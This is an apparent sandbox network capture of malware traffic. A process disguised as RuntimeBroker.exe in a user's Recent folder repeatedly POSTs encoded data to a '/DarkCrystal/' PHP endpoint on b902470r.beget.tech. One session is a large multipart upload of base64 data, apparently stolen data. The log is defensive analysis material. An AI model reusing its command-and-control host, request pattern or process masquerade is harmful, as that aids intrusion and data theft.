Nov 9, 2024 22:23:16.407074928 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:16.758755922 CET	2220	OUT	Data Raw: 50 57 59 53 56 5c 5b 5c 5d 5d 54 54 54 52 5b 53 56 5f 5f 5c 5b 57 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PWYSV\[\]]TTTR[SV__\[WZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"3"(6!>[0,3[ -(_*(#[0 ]'Z<<872&\.'Y&%[(
Nov 9, 2024 22:23:17.332672119 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:17.411246061 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 12 2a 3a 3e 0f 20 5f 22 51 3d 22 32 0e 2a 2e 35 5b 31 09 2c 17 3f 3f 29 16 2b 2e 2f 1f 36 3e 31 07 26 2c 29 58 22 21 2b 04 26 0a 2b 5a 01 1c 26 18 3e 2e 23 08 32 16 04 1d 24 37 04 03 21 2f 11 18 31 34 37 10 26 32 22 0e 3e 30 30 57 2d 32 29 5a 3f 07 23 0a 26 21 3a 57 23 0f 2a 55 03 12 23 55 29 2d 3b 12 31 3e 3c 0a 28 31 06 13 35 00 23 13 22 02 23 00 30 38 38 00 2f 33 23 07 27 20 23 58 28 21 38 05 22 3c 0f 17 30 00 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #:> _"Q="2.5[1,??)+./6>1&,)X"!+&+Z&>.#2$7!/147&2">00W-2)Z?#&!:W#*U#U)-;1><(15#"#088/3#' #X(!8"<0#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49885	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:16.763075113 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:17.118170023 CET	2536	OUT	Data Raw: 55 56 59 5a 56 5e 5e 50 5d 5d 54 54 54 55 5b 5a 56 50 5f 5e 5b 54 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UVYZV^^P]]TTTU[ZVP_^[TZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%"48.6>0,0#$_>8835,$+[<;42%:'Y&%[(
Nov 9, 2024 22:23:17.873898029 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:17.873941898 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:17.873950958 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49895	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:18.518537045 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:18.875657082 CET	2544	OUT	Data Raw: 55 51 59 59 56 5b 5b 51 5d 5d 54 54 54 5d 5b 55 56 5b 5f 5b 5b 53 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQYYV[[Q]]TTT][UV[_[[SZ\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\'*#(=[6=$'Z 4=?)]<3;',/Y+++2>%./'Y&%[(
Nov 9, 2024 22:23:19.438153028 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:19.499643087 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49899	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:18.808497906 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:19.165003061 CET	540	OUT	Data Raw: 55 55 5c 5d 56 56 5b 51 5d 5d 54 54 54 54 5b 50 56 50 5f 5a 5b 53 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UU\]VV[Q]]TTTT[PVP_Z[SZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]'2"(.!X$<( +>#Z'5$[$?/($2=&Z.?'Y&%[(,
Nov 9, 2024 22:23:19.727437019 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:19.783447981 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:19.787544966 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----kebr1DPeNnwbcUYSqxK9XV2PqtOoqmro0k User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 358054 Expect: 100-continue
Nov 9, 2024 22:23:20.076456070 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:20.076832056 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6b 65 62 72 31 44 50 65 4e 6e 77 62 63 55 59 53 71 78 4b 39 58 56 32 50 71 74 4f 6f 71 6d 72 6f 30 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------kebr1DPeNnwbcUYSqxK9XV2PqtOoqmro0kContent-Disposition: form-data; name="0"Content-Type: text/plainPUY_VV[W]]TTT\[WVY_][TZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:23:20.081759930 CET	2472	OUT	Data Raw: 51 6a 59 35 59 56 52 68 54 33 68 77 4f 58 5a 46 61 7a 5a 52 61 7a 4e 73 63 45 4d 35 65 47 52 48 4d 47 64 71 62 56 70 33 4d 48 4e 31 52 6b 38 77 59 6c 56 4a 53 44 4e 73 4e 55 70 49 56 33 46 56 56 6a 6c 69 65 58 46 6f 56 32 56 4d 59 31 46 6b 65 57 Data Ascii: QjY5YVRhT3hwOXZFazZRazNscEM5eGRHMGdqbVp3MHN1Rk8wYlVJSDNsNUpIV3FVVjlieXFoV2VMY1FkeWJqdVFnNHdjZ0RQMEpyb2pYcE9YczR2VkhMUERWMUQyc2xvK3BZS21reFNxNFlaVWdqMk5PTGNjMXNjK295aXAwZ1NSb0loYzJxWGR5dTYzdEhkaExLTzJNS1ZHN3NHWUUvaU0xWlpGaDBXMDFabWpOcmNsZ3BWdm1
Nov 9, 2024 22:23:20.081830978 CET	7416	OUT	Data Raw: 61 54 4e 4f 65 55 39 34 4d 55 64 74 5a 55 38 33 4e 31 4e 30 54 6d 64 7a 57 57 4a 58 4d 6d 56 50 52 55 56 43 62 6a 4e 61 54 31 4e 55 4d 6c 42 32 56 6e 59 76 61 46 70 6c 63 57 59 34 51 56 42 73 57 6d 5a 72 4c 7a 68 42 4f 46 5a 59 52 30 6b 78 62 54 Data Ascii: aTNOeU94MUdtZU83N1N0TmdzWWJXMmVPRUVCbjNaT1NUMlB2VnYvaFplcWY4QVBsWmZrLzhBOFZYR0kxbTJtM0YrMnNhZEhIYnVzY3l0NSs1SGJkdFhpSWdrN1QwSkZPdUlWczVKMHZMeXp0Mmpua3RrOHgzeE5JZ0JZS1FoeGpjdkxiUno5Y2VlNldYU2xydjZ2K3VwNmlyWnJGSkxiMGlkaC93c3ZWZitmT3kvNzVmL0FPS3B
Nov 9, 2024 22:23:20.081854105 CET	2472	OUT	Data Raw: 4e 30 4e 70 64 56 46 55 57 45 77 35 57 45 4a 4e 64 32 4e 45 4b 30 56 78 54 55 67 34 63 54 5a 58 64 33 5a 47 64 6e 4a 61 57 6c 5a 48 52 44 42 61 5a 6c 45 78 4d 7a 52 49 54 6a 68 51 61 6c 70 50 52 6b 38 32 59 54 5a 51 4f 45 46 77 62 6d 6f 31 65 48 Data Ascii: N0NpdVFUWEw5WEJNd2NEK0VxTUg4cTZXd3ZGdnJaWlZHRDBaZlExMzRITjhQalpPRk82YTZQOEFwbmo1eHd6anNwZ3F0ZXppOUx4YmRuNTNTWmFvb29yMHo1NEtEUlJRQVVkNjFtOE5hdWpGV3N5R0hZeUwvalFQRE9ybnBhZitSVS94cmkvdFBCZjgvby8rQkwvTTdQN094bi9QcVgvZ0wveU1taXRnZUZ0YVBTei9BUElxZjQ
Nov 9, 2024 22:23:20.081907988 CET	4944	OUT	Data Raw: 63 6d 30 76 52 47 35 70 55 31 68 58 5a 46 4d 78 51 7a 42 74 61 6d 6c 59 65 56 42 74 61 6a 68 7a 53 45 6c 59 5a 58 6b 33 57 48 6f 76 52 6a 68 76 55 45 68 79 4e 31 59 77 52 54 67 34 56 6e 4a 69 65 56 68 46 65 6d 68 4a 62 32 78 4d 64 58 67 32 51 55 Data Ascii: cm0vRG5pU1hXZFMxQzBtamlYeVBtajhzSElYZXk3WHovRjhvUEhyN1YwRTg4VnJieVhFemhJb2xMdXg2QURrbXZLL0N2aW0yMC9WZFUxUzZpLzBmVXBXbGN3b1dhM0lZN1EvR1BtM2V2WHIxcjVxdFZVSnhUZGo3UEE0TjRqRDFwUmpkcTF2Vy8rWCtYVTlXZEZrUmtkUXlNTU1yRElJOURYaS9pWFJvL0QvaWlXeHRpZnNrc0l
Nov 9, 2024 22:23:20.081927061 CET	2472	OUT	Data Raw: 61 57 64 5a 62 45 5a 4d 55 31 56 45 52 58 42 44 53 32 4e 68 55 32 64 43 64 45 5a 4c 59 56 4e 6e 63 45 4e 56 61 48 42 55 55 6a 4a 76 51 57 4a 54 52 32 35 6b 63 56 46 70 5a 31 6c 73 52 6b 78 54 52 57 4d 77 52 6b 4e 56 62 45 74 53 55 57 46 43 62 32 Data Ascii: aWdZbEZMU1VERXBDS2NhU2dCdEZLYVNncENVaHBUUjJvQWJTR25kcVFpZ1lsRkxTRWMwRkNVbEtSUWFCb2JpaWxwTVVERXBQclRqU2RhQUVvcGFRMERFeG1reFR1OUpRTVEvd0NjVWxLYVQrZEF3SU5CbzZVZnlvR0oxNHBLV2cvV2dCdlhudjYwWXBlOUpRTU9NL2hTVXAvV2c5ZmFnWWhwT2xMaWp0UUFtUHJTVXA3ODBaeFF
Nov 9, 2024 22:23:20.081959009 CET	4944	OUT	Data Raw: 64 47 59 77 55 46 70 33 56 31 70 57 4f 45 78 54 4f 57 35 48 62 6d 52 4c 4c 32 4d 35 59 79 38 30 56 47 5a 33 4e 79 39 33 51 6b 4a 45 4c 33 6c 43 53 69 38 34 51 55 55 77 5a 6a 68 4b 64 6a 52 6b 4c 33 64 44 5a 32 67 76 4e 55 46 72 4c 7a 68 42 61 57 Data Ascii: dGYwUFp3V1pWOExTOW5HbmRLL2M5Yy80VGZ3Ny93QkJEL3lCSi84QUUwZjhKdjRkL3dDZ2gvNUFrLzhBaWE4a2EydVZzeGVOYTNBdFQwbk1MZVdlY2ZleGpyNzAyT0dlYTNsdUliZWVXQ0hQbXl4eE15SmdaT1NCZ2NldGMzOWtVTFg5cCtSMWYyNWliMjlsdjZub25pbnhUbzJwZUc3dTB0THp6SjVObTFmS2RjNGRTZVNBT2d
Nov 9, 2024 22:23:20.086714029 CET	4944	OUT	Data Raw: 53 58 45 72 65 54 56 32 4d 31 59 33 5a 56 6b 78 52 32 45 7a 54 30 68 75 56 30 74 58 4f 47 73 34 64 6c 4e 36 53 32 68 4a 55 7a 64 44 61 30 4e 52 53 45 6c 42 51 58 6c 47 65 57 4e 71 59 7a 5a 75 4b 30 45 78 56 48 51 35 52 44 46 78 65 6a 42 44 54 6a Data Ascii: SXEreTV2M1Y3ZVkxR2EzT0huV0tXOGs4dlN6S2hJUzdDa0NRSElBQXlGeWNqYzZuK0ExVHQ5RDFxejBDTjdiUzlWTjdxQ3RDMHFXanNMYUVIRWhKQ25ET1FWOWR1Nys4S2tsMDYxbWtNa2tZWmozTlYwME95aVlzaU1wUGZOZWJXd0ZXZFNVbEpXbHY2TCt0VDE2R1owYWRLTUhGM2p0NnYvTG9RYTNIY1IrRnA5TWdsWTZyYXd
Nov 9, 2024 22:23:20.086800098 CET	9888	OUT	Data Raw: 51 55 70 4f 5a 43 74 7a 63 58 5a 49 4d 6b 6c 4a 63 6e 6b 7a 56 58 52 46 62 6a 41 31 51 6b 6b 7a 54 55 78 49 59 58 4a 49 5a 7a 55 72 62 47 4a 75 61 45 4e 6d 5a 48 5a 6e 61 6e 5a 4b 54 6e 6c 45 54 46 63 34 62 33 6c 4e 5a 6a 4e 72 55 47 49 7a 53 48 Data Ascii: QUpOZCtzcXZIMklJcnkzVXRFbjA1QkkzTUxIYXJIZzUrbGJuaENmZHZnanZKTnlETFc4b3lNZjNrUGIzSHZXdkV1QmhqNlR6YWhWNW8yU3RaNlc4K212ZGRUcnkvS3FlQXc2b3hsZDd0MnRmOHhkWjhOdkhlYjdKUVlwTWtKNk4xMmo4TTQvTDBybXNZT0RYcHdsRDRWaDBJL091SjhUV3EyMnN5RkJoWmxFZ0E5VDEvVUg4Njl
Nov 9, 2024 22:23:21.108635902 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49903	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:19.621298075 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:19.977528095 CET	2544	OUT	Data Raw: 55 5a 5c 5f 53 5c 5b 52 5d 5d 54 54 54 5c 5b 57 56 51 5f 52 5b 52 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UZ\_S\[R]]TTT\[WVQ_R[RZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"3 8"=<X0 <[)($$%'<Y(8'2=%,/'Y&%[(
Nov 9, 2024 22:23:20.546295881 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:20.610400915 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49911	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:20.749394894 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:21.103230953 CET	2544	OUT	Data Raw: 55 54 5c 5f 56 5d 5b 5c 5d 5d 54 54 54 54 5b 56 56 5d 5f 5c 5b 55 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UT\_V][\]]TTTT[VV]_\[UZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!%!)E7(Z!(\'+ .*+0$/[(81>-?'Y&%[(,
Nov 9, 2024 22:23:21.656528950 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:21.712745905 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49917	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:21.839248896 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:22.196233034 CET	2544	OUT	Data Raw: 50 51 59 53 56 5a 5b 53 5d 5d 54 54 54 53 5b 52 56 59 5f 5d 5b 5d 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PQYSVZ[S]]TTTS[RVY_][]Z^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\01#%#-(X',X .,X>;40,]%<<841>6[9?'Y&%[(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49922	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:22.421339035 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2196 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:22.774391890 CET	2196	OUT	Data Raw: 55 52 59 59 56 5b 5b 53 5d 5d 54 54 54 53 5b 5b 56 5c 5f 5c 5b 55 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URYYV[[S]]TTTS[[V\_\[UZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'1.7;=^!X ]'/?#=;*('#00)+8$>&Z.'Y&%[(0
Nov 9, 2024 22:23:23.350269079 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:23.415349960 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 12 3f 04 22 08 20 2a 22 57 29 22 25 1b 3c 04 3d 5a 25 20 3b 03 2b 2c 25 15 28 3d 38 0c 22 13 22 59 27 02 36 07 35 08 33 01 31 0a 2b 5a 01 1c 25 08 2b 2e 2c 13 25 28 25 0e 33 09 3d 5b 34 06 3f 15 24 37 33 5d 31 32 29 57 3d 1d 0d 0b 3b 1f 2e 03 2b 2e 33 0b 26 32 3a 52 34 35 2a 55 03 12 20 0d 2b 2d 3c 0e 31 2e 33 53 2b 0f 20 59 21 2e 3c 00 23 3b 2c 5e 30 16 05 5e 38 0d 0e 5e 24 0a 23 16 2a 32 37 11 37 05 32 0a 27 2a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #?" "W)"%<=Z% ;+,%(=8""Y'6531+Z%+.,%(%3=[4?$73]12)W=;.+.3&2:R45U +-<1.3S+ Y!.<#;,^0^8^$#2772'#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49924	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:22.568665028 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:22.914985895 CET	2536	OUT	Data Raw: 55 52 5c 5f 53 5b 5b 57 5d 5d 54 54 54 55 5b 52 56 59 5f 53 5b 5c 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UR\_S[[W]]TTTU[RVY_S[\ZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]')E#+%6.'0<0 *036,$/)8#1>=./'Y&%[(,
Nov 9, 2024 22:23:23.499982119 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:23.555824041 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49930	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:23.986654043 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue
